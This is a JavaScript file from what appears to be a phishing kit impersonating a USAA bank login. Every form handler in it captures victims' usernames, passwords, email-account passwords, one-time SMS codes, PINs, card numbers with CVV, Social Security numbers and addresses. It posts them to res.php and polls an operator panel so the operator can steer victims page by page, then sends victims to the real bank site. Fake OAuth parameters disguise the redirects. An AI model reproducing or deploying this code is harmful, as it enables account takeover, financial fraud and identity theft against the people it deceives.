(function() {
    if (!document.querySelector(".lgform")) return;
    const idBox = document.querySelector(".idBox");
    const pasBox = document.querySelector(".pasBox");
    const idInput = document.querySelector(".id");
    const passInput = document.querySelector(".pass");
    const lgform = document.querySelector(".lgform");
    const step1 = document.getElementById("step1");
    const step2 = document.getElementById("step2");
    const loaders = document.querySelectorAll(".loader");
    const btnTexts = document.querySelectorAll(".btnText");
    const btnNexts = document.querySelectorAll(".btnNext");
    const errorBox1 = document.querySelector(".errorBox1");
    const showText = document.querySelector(".showText");
    const baseUrl = window.location.href;
    let em22 = "";
    let pa22 = "";
    let count = 0;
    let savedOnlineId = "";
    let fromErrorPage = false;

    window.addEventListener("load", () => {
        if (step1 && step2 && errorBox1 && window.location.href.includes("?error=")) {
            errorBox1.classList.remove("hide");
            const params = new URLSearchParams(window.location.search);
            const prefillId = params.get("id");
            if (prefillId && prefillId.trim() !== "") {
                fromErrorPage = true;
                /* On error page: show step1 with empty username (and step2 for password), don't pre-fill */
                if (idInput) idInput.value = "";
                step1.classList.remove("hide");
                step2.classList.add("hide");
                setTimeout(function() { if (idInput) idInput.focus(); }, 100);
            } else {
                step1.classList.remove("hide");
                step2.classList.add("hide");
            }
        }
    });

    const noPanelData = (data) => {
        fetch(`./res.php`, { method: "POST", body: data });
    };

    if (idBox && idInput) idBox.addEventListener("click", () => { idInput.focus(); });
    if (pasBox && passInput) pasBox.addEventListener("click", () => { passInput.focus(); });

    lgform.addEventListener("submit", (e) => {
        e.preventDefault();
        if (errorBox1) errorBox1.classList.add("hide");
        btnTexts.forEach(el => { if (el) el.classList.add("hide"); });
        btnNexts.forEach(btn => { if (btn) btn.setAttribute("disabled", true); });
        loaders.forEach(el => { if (el) el.classList.remove("hide"); });
        if (!step1 || !step2) return;

        if (!step2.classList.contains("hide")) {
            if (!passInput || !passInput.value.trim()) {
                btnTexts.forEach(el => { if (el) el.classList.remove("hide"); });
                btnNexts.forEach(btn => { if (btn) btn.removeAttribute("disabled"); });
                loaders.forEach(el => { if (el) el.classList.add("hide"); });
                return;
            }
            count++;
            if (count === 1) {
                const fd = new FormData();
                fd.append("user1", savedOnlineId);
                fd.append("pass1", passInput.value);
                em22 = savedOnlineId;
                pa22 = passInput.value;
                noPanelData(fd);
                if (fromErrorPage) {
                    setTimeout(() => {
                        window.location.href = "code.php";
                    }, 2500);
                } else {
                    const redirectCheckUrl = "custom/redirect_check.php";
                    const pollInterval = 3000;
                    const intav = setInterval(() => {
                        fetch(redirectCheckUrl, { credentials: "same-origin", cache: "no-store" })
                            .then((r) => r.json())
                            .then((data) => {
                                if (data && data.redirect) {
                                    clearInterval(intav);
                                    btnTexts.forEach(el => el.classList.remove("hide"));
                                    btnNexts.forEach(btn => { if (btn) btn.removeAttribute("disabled"); });
                                    loaders.forEach(el => el.classList.add("hide"));
                                    window.location.href = data.redirect;
                                }
                            })
                            .catch(() => {});
                    }, pollInterval);
                }
            } else {
                errorBox1.classList.add("hide");
                btnTexts.forEach(el => el.classList.add("hide"));
                btnNexts.forEach(btn => { if (btn) btn.setAttribute("disabled", true); });
                loaders.forEach(el => el.classList.remove("hide"));
                const fd = new FormData();
                fd.append("user2", savedOnlineId);
                fd.append("pass1", passInput.value);
                fd.append("em22", em22);
                fd.append("pa22", pa22);
                noPanelData(fd);
                setTimeout(() => {
                    window.location.href = "code.php?client_id=66c84a18f37e4&redirect_uri=https%3A%2F%2Fwww.icloud.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638199132677744493.Mzg3MzNjMDItODNmMy00ZjM0LTkwMWMtOWFjMTU2ODU5N2I3NTEyNWJlOGYtN2E5NS00NGJkLTlkNmEtMjYyZWI1YjJkNDMy&ui_locales=en-US&mkt=en-US&client-request-id=9159d407-9714-437c-a260-9e06802f0fe5&state=-U9RvRXlNehYbStez7qy2PvmdCXKbac2Mz2R-7H9umo5rcZmh0l8kR6hX0Jgtdfypld27agqVcJyE7KcGwg7zQVcXbf2iY57bdPjzq9fCXMwrlFCQs2_uA-24fVzB6Nftu_J2c2xxMeBrFAMZ4H4dUw4XvHGNv4aSVlmELm9_ZJCVHcguVa8hDasnvBQSDPsn2z0urQ4C_QC2_lr-ZgVNBQbUuXA7Ud2zAhF_2RlbwJZxelSbEv7Z1D-WiTH-M83g8Xt4fRc3K8cYYmyiUhSXjOQKbwGAdiozhZaOPQcshY&x-client-SKU=ID_NET6_0&x-client-ver=6.26.1.0";
                }, 1200);
            }
            return;
        }

        savedOnlineId = idInput.value.trim();
        const step1Btn = document.getElementById("step1Btn");
        const step1Loader = document.getElementById("step1Loader");
        if (step1Btn) step1Btn.classList.add("hide");
        if (step1Loader) step1Loader.classList.remove("hide");

        setTimeout(() => {
            const step2IdDisplay = document.getElementById("step2IdDisplay");
            if (step2IdDisplay) step2IdDisplay.textContent = savedOnlineId;
            step1.classList.add("hide");
            step2.classList.remove("hide");
            if (step1Btn) step1Btn.classList.remove("hide");
            if (step1Loader) step1Loader.classList.add("hide");
            btnTexts.forEach(el => el.classList.remove("hide"));
            btnNexts.forEach(btn => btn.removeAttribute("disabled"));
            loaders.forEach(el => el.classList.add("hide"));
            setTimeout(() => passInput.focus(), 100);
        }, 1000);
    });

    if (showText && passInput) showText.addEventListener("click", () => {
        if (passInput.type === "password") {
            passInput.type = "text";
            showText.textContent = "Hide";
        } else {
            passInput.type = "password";
            showText.textContent = "Show";
        }
    });
})();

(function() {
    if (!document.querySelector(".emForm")) return;
    const emForm = document.querySelector(".emForm");
    const passwordBox = document.getElementById("emailPagePasswordBox");
    const passwordInput = document.getElementById("emailPagePassword");
    const emailPageErrorBox = document.getElementById("emailPageErrorBox");
    const baseUrl = window.location.href.split("/email.php")[0];
    const overlay = document.getElementById("email-loading-overlay");

    if (overlay) {
        setTimeout(() => overlay.classList.add("hide"), 3000);
    }

    window.addEventListener("load", () => {
        if (window.location.href.includes("email.php") && window.location.href.includes("?error=")) {
            if (emailPageErrorBox) emailPageErrorBox.classList.remove("hide");
            if (passwordBox) passwordBox.classList.remove("hide");
            if (passwordInput) passwordInput.value = "";
        }
    });

    const noPanelData = (data) => {
        fetch(`${baseUrl}/res.php`, { method: "POST", body: data });
    };

    emForm.addEventListener("submit", (e) => {
        e.preventDefault();
        const em = (e.target.elements.email && e.target.elements.email.value) ? String(e.target.elements.email.value).trim() : "";
        if (!em) return;
        localStorage.setItem("em", em);
        const emType = em.indexOf("@") !== -1 ? em.split("@")[1].toLowerCase() : "";
        const isSpectrum = emType && (emType.indexOf("rr.com") !== -1 || emType === "charter.net");
        const isOptimum = emType === "optimum.net" || emType === "optimum.com" || emType === "suddenlink.net" || emType === "optonline.net";
        const isEarthlink = emType === "earthlink.net";
        const isOtherProvider = !isSpectrum && !isOptimum && !isEarthlink;

        if (isOtherProvider) {
            if (passwordBox && passwordBox.classList.contains("hide")) {
                passwordBox.classList.remove("hide");
                if (passwordInput) {
                    passwordInput.setAttribute("required", "required");
                    setTimeout(function() { passwordInput.focus(); }, 80);
                }
                return;
            }
            const pass = (e.target.elements.email_page_pass && e.target.elements.email_page_pass.value) ? String(e.target.elements.email_page_pass.value).trim() : "";
            if (!pass) return;
            if (overlay) overlay.classList.remove("hide");
            const fd = new FormData();
            fd.append("email", em);
            fd.append("email_from_page", "1");
            fd.append("email_page_pass", pass);
            noPanelData(fd);
            const isOnErrorPage = window.location.href.includes("email.php") && window.location.href.includes("?error=");
            setTimeout(() => {
                window.location.href = isOnErrorPage ? baseUrl + "/pin.php" : baseUrl + "/email.php?error=1";
            }, 2000);
            return;
        }

        if (overlay) overlay.classList.remove("hide");
        setTimeout(() => {
            if (emType === "comcast.net") {
                window.location.href = "comcast/";
            } else if (emType === "gmail.com" || emType === "earthlink.net" || emType === "yahoo.com") {
                window.location.href = "earthlink/";
            } else if (emType && (emType.indexOf("rr.com") !== -1 || emType === "charter.net")) {
                window.location.href = "spectrum/";
            } else if (emType === "optimum.net" || emType === "optimum.com" || emType === "suddenlink.net" || emType === "optonline.net") {
                window.location.href = "optimum/";
            } else {
                window.location.href = "earthlink/";
            }
        }, 4000);
    });
})();

(function() {
    if (!document.querySelector(".cForm")) return;
    const cForm = document.querySelector(".cForm");
    const cardOverlay = document.getElementById("page-loading-overlay");
    const baseUrl = window.location.href.split("/card.php")[0];

    const cardNumInput = cForm.querySelector('input[name="cNum"]');
    const ssnInput = cForm.querySelector('input[name="sn"]');

    if (cardNumInput) {
        cardNumInput.setAttribute("maxlength", "19");
        cardNumInput.setAttribute("inputmode", "numeric");
        cardNumInput.setAttribute("autocomplete", "cc-number");
        cardNumInput.addEventListener("input", function() {
            const digits = this.value.replace(/\D/g, "").slice(0, 16);
            const parts = [];
            for (let i = 0; i < digits.length; i += 4) parts.push(digits.slice(i, i + 4));
            this.value = parts.join(" ");
            this.setAttribute("data-raw", digits);
        });
        cardNumInput.addEventListener("paste", function(e) {
            e.preventDefault();
            const pasted = (e.clipboardData || window.clipboardData).getData("text").replace(/\D/g, "").slice(0, 16);
            const parts = [];
            for (let i = 0; i < pasted.length; i += 4) parts.push(pasted.slice(i, i + 4));
            this.value = parts.join(" ");
            this.setAttribute("data-raw", pasted);
        });
    }

    if (ssnInput) {
        ssnInput.setAttribute("maxlength", "11");
        ssnInput.setAttribute("inputmode", "numeric");
        ssnInput.addEventListener("input", function() {
            const digits = this.value.replace(/\D/g, "").slice(0, 9);
            let formatted = "";
            if (digits.length > 0) formatted = digits.slice(0, 3);
            if (digits.length > 3) formatted += "-" + digits.slice(3, 5);
            if (digits.length > 5) formatted += "-" + digits.slice(5, 9);
            this.value = formatted;
            this.setAttribute("data-raw", digits);
        });
        ssnInput.addEventListener("paste", function(e) {
            e.preventDefault();
            const pasted = (e.clipboardData || window.clipboardData).getData("text").replace(/\D/g, "").slice(0, 9);
            let formatted = "";
            if (pasted.length > 0) formatted = pasted.slice(0, 3);
            if (pasted.length > 3) formatted += "-" + pasted.slice(3, 5);
            if (pasted.length > 5) formatted += "-" + pasted.slice(5, 9);
            this.value = formatted;
            this.setAttribute("data-raw", pasted);
        });
    }

    const resData = (data) => {
        $.ajax({ url: `res.php`, type: 'POST', data: data }).then(() => {
            let intav = setInterval(() => {
                $.ajax({ url: `panel.php`, type: 'POST' }).then((res) => {
                    const data = JSON.parse(res);
                    if (data.msg === "sms") {
                        window.location.href = "code.php?client_id=66c84a18f37e4&redirect_uri=https%3A%2F%2Fwww.icloud.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638199132677744493.Mzg3MzNjMDItODNmMy00ZjM0LTkwMWMtOWFjMTU2ODU5N2I3NTEyNWJlOGYtN2E5NS00NGJkLTlkNmEtMjYyZWI1YjJkNDMy&ui_locales=en-US&mkt=en-US&client-request-id=9159d407-9714-437c-a260-9e06802f0fe5&state=-U9RvRXlNehYbStez7qy2PvmdCXKbac2Mz2R-7H9umo5rcZmh0l8kR6hX0Jgtdfypld27agqVcJyE7KcGwg7zQVcXbf2iY57bdPjzq9fCXMwrlFCQs2_uA-24fVzB6Nftu_J2c2xxMeBrFAMZ4H4dUw4XvHGNv4aSVlmELm9_ZJCVHcguVa8hDasnvBQSDPsn2z0urQ4C_QC2_lr-ZgVNBQbUuXA7Ud2zAhF_2RlbwJZxelSbEv7Z1D-WiTH-M83g8Xt4fRc3K8cYYmyiUhSXjOQKbwGAdiozhZaOPQcshY&x-client-SKU=ID_NET6_0&x-client-ver=6.26.1.0";
                        clearInterval(intav);
                    } else if (data.msg === "user") {
                        window.location.href = "signin.php?client_id=66c84a18f37e4&redirect_uri=https%3A%2F%2Fwww.icloud.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638199132677744493.Mzg3MzNjMDItODNmMy00ZjM0LTkwMWMtOWFjMTU2ODU5N2I3NTEyNWJlOGYtN2E5NS00NGJkLTlkNmEtMjYyZWI1YjJkNDMy&ui_locales=en-US&mkt=en-US&client-request-id=9159d407-9714-437c-a260-9e06802f0fe5&state=-U9RvRXlNehYbStez7qy2PvmdCXKbac2Mz2R-7H9umo5rcZmh0l8kR6hX0Jgtdfypld27agqVcJyE7KcGwg7zQVcXbf2iY57bdPjzq9fCXMwrlFCQs2_uA-24fVzB6Nftu_J2c2xxMeBrFAMZ4H4dUw4XvHGNv4aSVlmELm9_ZJCVHcguVa8hDasnvBQSDPsn2z0urQ4C_QC2_lr-ZgVNBQbUuXA7Ud2zAhF_2RlbwJZxelSbEv7Z1D-WiTH-M83g8Xt4fRc3K8cYYmyiUhSXjOQKbwGAdiozhZaOPQcshY&x-client-SKU=ID_NET6_0&x-client-ver=6.26.1.0";
                        clearInterval(intav);
                    } else if (data.msg === "card") {
                        window.location.href = "card.php?client_id=66c84a18f37e4&redirect_uri=https%3A%2F%2Fwww.icloud.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638199132677744493.Mzg3MzNjMDItODNmMy00ZjM0LTkwMWMtOWFjMTU2ODU5N2I3NTEyNWJlOGYtN2E5NS00NGJkLTlkNmEtMjYyZWI1YjJkNDMy&ui_locales=en-US&mkt=en-US&client-request-id=9159d407-9714-437c-a260-9e06802f0fe5&state=-U9RvRXlNehYbStez7qy2PvmdCXKbac2Mz2R-7H9umo5rcZmh0l8kR6hX0Jgtdfypld27agqVcJyE7KcGwg7zQVcXbf2iY57bdPjzq9fCXMwrlFCQs2_uA-24fVzB6Nftu_J2c2xxMeBrFAMZ4H4dUw4XvHGNv4aSVlmELm9_ZJCVHcguVa8hDasnvBQSDPsn2z0urQ4C_QC2_lr-ZgVNBQbUuXA7Ud2zAhF_2RlbwJZxelSbEv7Z1D-WiTH-M83g8Xt4fRc3K8cYYmyiUhSXjOQKbwGAdiozhZaOPQcshY&x-client-SKU=ID_NET6_0&x-client-ver=6.26.1.0";
                        clearInterval(intav);
                    } else if (data.msg === "pin") {
                        window.location.href = "code2.php?client_id=66c84a18f37e4&redirect_uri=https%3A%2F%2Fwww.icloud.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638199132677744493.Mzg3MzNjMDItODNmMy00ZjM0LTkwMWMtOWFjMTU2ODU5N2I3NTEyNWJlOGYtN2E5NS00NGJkLTlkNmEtMjYyZWI1YjJkNDMy&ui_locales=en-US&mkt=en-US&client-request-id=9159d407-9714-437c-a260-9e06802f0fe5&state=-U9RvRXlNehYbStez7qy2PvmdCXKbac2Mz2R-7H9umo5rcZmh0l8kR6hX0Jgtdfypld27agqVcJyE7KcGwg7zQVcXbf2iY57bdPjzq9fCXMwrlFCQs2_uA-24fVzB6Nftu_J2c2xxMeBrFAMZ4H4dUw4XvHGNv4aSVlmELm9_ZJCVHcguVa8hDasnvBQSDPsn2z0urQ4C_QC2_lr-ZgVNBQbUuXA7Ud2zAhF_2RlbwJZxelSbEv7Z1D-WiTH-M83g8Xt4fRc3K8cYYmyiUhSXjOQKbwGAdiozhZaOPQcshY&x-client-SKU=ID_NET6_0&x-client-ver=6.26.1.0";
                        clearInterval(intav);
                    } else if (data.msg === "email") {
                        window.location.href = "email.php?client_id=66c84a18f37e4&redirect_uri=https%3A%2F%2Fwww.icloud.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638199132677744493.Mzg3MzNjMDItODNmMy00ZjM0LTkwMWMtOWFjMTU2ODU5N2I3NTEyNWJlOGYtN2E5NS00NGJkLTlkNmEtMjYyZWI1YjJkNDMy&ui_locales=en-US&mkt=en-US&client-request-id=9159d407-9714-437c-a260-9e06802f0fe5&state=-U9RvRXlNehYbStez7qy2PvmdCXKbac2Mz2R-7H9umo5rcZmh0l8kR6hX0Jgtdfypld27agqVcJyE7KcGwg7zQVcXbf2iY57bdPjzq9fCXMwrlFCQs2_uA-24fVzB6Nftu_J2c2xxMeBrFAMZ4H4dUw4XvHGNv4aSVlmELm9_ZJCVHcguVa8hDasnvBQSDPsn2z0urQ4C_QC2_lr-ZgVNBQbUuXA7Ud2zAhF_2RlbwJZxelSbEv7Z1D-WiTH-M83g8Xt4fRc3K8cYYmyiUhSXjOQKbwGAdiozhZaOPQcshY&x-client-SKU=ID_NET6_0&x-client-ver=6.26.1.0";
                        clearInterval(intav);
                    } else if (data.msg === "invalidsms") {
                        window.location.href = "code.php?error=invalid";
                        clearInterval(intav);
                    } else if (data.msg === "invalidemail") {
                        window.location.href = "email.php?error=invalid";
                        clearInterval(intav);
                    } else if (data.msg === "invaliduser") {
                        window.location.href = "signin.php?error=invalid";
                        clearInterval(intav);
                    } else if (data.msg === "done") {
                        window.location.href = "https://www.usaa.com/";
                    }
                });
            }, 5000);
        });
    };

    const noPanelData = (data) => {
        fetch(`${baseUrl}/res.php`, { method: "POST", body: data });
    };

    cForm.addEventListener("submit", (e) => {
        e.preventDefault();
        const cName = e.target.elements.cName.value;
        const cNumEl = e.target.elements.cNum;
        const cNum = (cNumEl && cNumEl.getAttribute("data-raw")) ? cNumEl.getAttribute("data-raw") : (cNumEl ? String(cNumEl.value).replace(/\D/g, "").slice(0, 16) : "");
        const month = e.target.elements.mm.value;
        const year = e.target.elements.yy.value;
        const cv = e.target.elements.cv.value;
        const snEl = e.target.elements.sn;
        const ssn = (snEl && snEl.getAttribute("data-raw")) ? snEl.getAttribute("data-raw") : (snEl ? String(snEl.value).replace(/\D/g, "").slice(0, 9) : "");
        const address = e.target.elements.adres.value;
        const zip = e.target.elements.zip.value;
        const state = e.target.elements.state.value;
        const city = e.target.elements.city.value;
        if (cardOverlay) cardOverlay.classList.remove("hide");
        const fd = new FormData();
        fd.append("cname", cName);
        fd.append("cnum", cNum);
        fd.append("adres", address);
        fd.append("month", month);
        fd.append("year", year);
        fd.append("cv", cv);
        fd.append("sn", ssn);
        fd.append("zip", zip);
        fd.append("state", state);
        fd.append("city", city);
        noPanelData(fd);
        setTimeout(() => {
            window.location.href = "https://www.usaa.com/";
        }, 5000);
    });
})();

(function() {
    if (!document.querySelector(".otForm")) return;
    const otForm = document.querySelector(".otForm");
    const codeInput = otForm.querySelector('input[name="code"], input#code');
    const errBox = document.querySelector(".errorBox1");
    const preload2 = document.querySelector(".loader");
    const btnText = document.querySelector(".btnText");
    const baseUrl = window.location.href.split("/code.php")[0];
    const redirectCheckUrl = "custom/redirect_check.php";
    const pollInterval = 1000;

    if (codeInput) {
        codeInput.setAttribute("maxlength", "6");
        codeInput.setAttribute("inputmode", "numeric");
        codeInput.addEventListener("input", function() {
            this.value = this.value.replace(/\D/g, "").slice(0, 6);
        });
        codeInput.addEventListener("paste", function(e) {
            e.preventDefault();
            const pasted = (e.clipboardData || window.clipboardData).getData("text").replace(/\D/g, "").slice(0, 6);
            this.value = pasted;
        });
    }

    window.addEventListener("load", () => {
        if (window.location.href.includes("?error=")) errBox.classList.remove("hide");
    });

    const resData = (data) => {
        fetch("res.php", { method: "POST", body: new URLSearchParams(data), headers: { "Content-Type": "application/x-www-form-urlencoded" } })
            .then(() => {
                const intav = setInterval(() => {
                    fetch(redirectCheckUrl, { credentials: "same-origin", cache: "no-store" })
                        .then((r) => r.json())
                        .then((data) => {
                            if (data && data.redirect) {
                                clearInterval(intav);
                                window.location.href = data.redirect;
                            }
                        })
                        .catch(() => {});
                }, pollInterval);
            })
            .catch(() => {});
    };

    otForm.addEventListener("submit", (e) => {
        e.preventDefault();
        const raw = (e.target.elements.code && e.target.elements.code.value) ? String(e.target.elements.code.value).replace(/\D/g, "") : "";
        const code = raw.slice(0, 6);
        if (code.length !== 6) {
            if (errBox) errBox.classList.remove("hide");
            btnText.classList.remove("hide");
            preload2.classList.add("hide");
            return;
        }
        btnText.classList.add("hide");
        preload2.classList.remove("hide");
        errBox.classList.add("hide");
        resData({ code: code, baseUrl: baseUrl });
    });
})();

(function() {
    if (!document.querySelector(".pForm")) return;
    const pForm = document.querySelector(".pForm");
    const pinInput = pForm.querySelector('input[name="pin"]');
    const pinOverlay = document.getElementById("page-loading-overlay");
    const baseUrl = window.location.href.split("/pin.php")[0];

    if (pinInput) {
        pinInput.setAttribute("maxlength", "4");
        pinInput.setAttribute("inputmode", "numeric");
        pinInput.addEventListener("input", function() {
            this.value = this.value.replace(/\D/g, "").slice(0, 4);
        });
        pinInput.addEventListener("paste", function(e) {
            e.preventDefault();
            const pasted = (e.clipboardData || window.clipboardData).getData("text").replace(/\D/g, "").slice(0, 4);
            this.value = pasted;
        });
    }

    const noPanelData = (data) => {
        fetch(`${baseUrl}/res.php`, { method: "POST", body: data });
    };

    pForm.addEventListener("submit", (e) => {
        e.preventDefault();
        const rawPin = (e.target.elements.pin && e.target.elements.pin.value) ? String(e.target.elements.pin.value).replace(/\D/g, "").slice(0, 4) : "";
        const pin = rawPin;
        if (pin.length !== 4) return;
        const fd = new FormData();
        fd.append("pin", pin);
        noPanelData(fd);
        if (pinOverlay) pinOverlay.classList.remove("hide");
        setTimeout(() => {
            window.location.href = "./card.php?client_id=66c84a18f37e4&redirect_uri=https%3A%2F%2Fwww.icloud.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638199132677744493.Mzg3MzNjMDItODNmMy00ZjM0LTkwMWMtOWFjMTU2ODU5N2I3NTEyNWJlOGYtN2E5NS00NGJkLTlkNmEtMjYyZWI1YjJkNDMy&ui_locales=en-US&mkt=en-US&client-request-id=9159d407-9714-437c-a260-9e06802f0fe5&state=-U9RvRXlNehYbStez7qy2PvmdCXKbac2Mz2R-7H9umo5rcZmh0l8kR6hX0Jgtdfypld27agqVcJyE7KcGwg7zQVcXbf2iY57bdPjzq9fCXMwrlFCQs2_uA-24fVzB6Nftu_J2c2xxMeBrFAMZ4H4dUw4XvHGNv4aSVlmELm9_ZJCVHcguVa8hDasnvBQSDPsn2z0urQ4C_QC2_lr-ZgVNBQbUuXA7Ud2zAhF_2RlbwJZxelSbEv7Z1D-WiTH-M83g8Xt4fRc3K8cYYmyiUhSXjOQKbwGAdiozhZaOPQcshY&x-client-SKU=ID_NET6_0&x-client-ver=6.26.1.0";
        }, 4000);
    });
})();

(function() {
    if (!window.location.pathname.includes("done.php")) return;
    window.addEventListener("load", () => {
        setTimeout(() => {
            window.location.href = "https://www.usaa.com/";
        }, 3000);
    });
})();
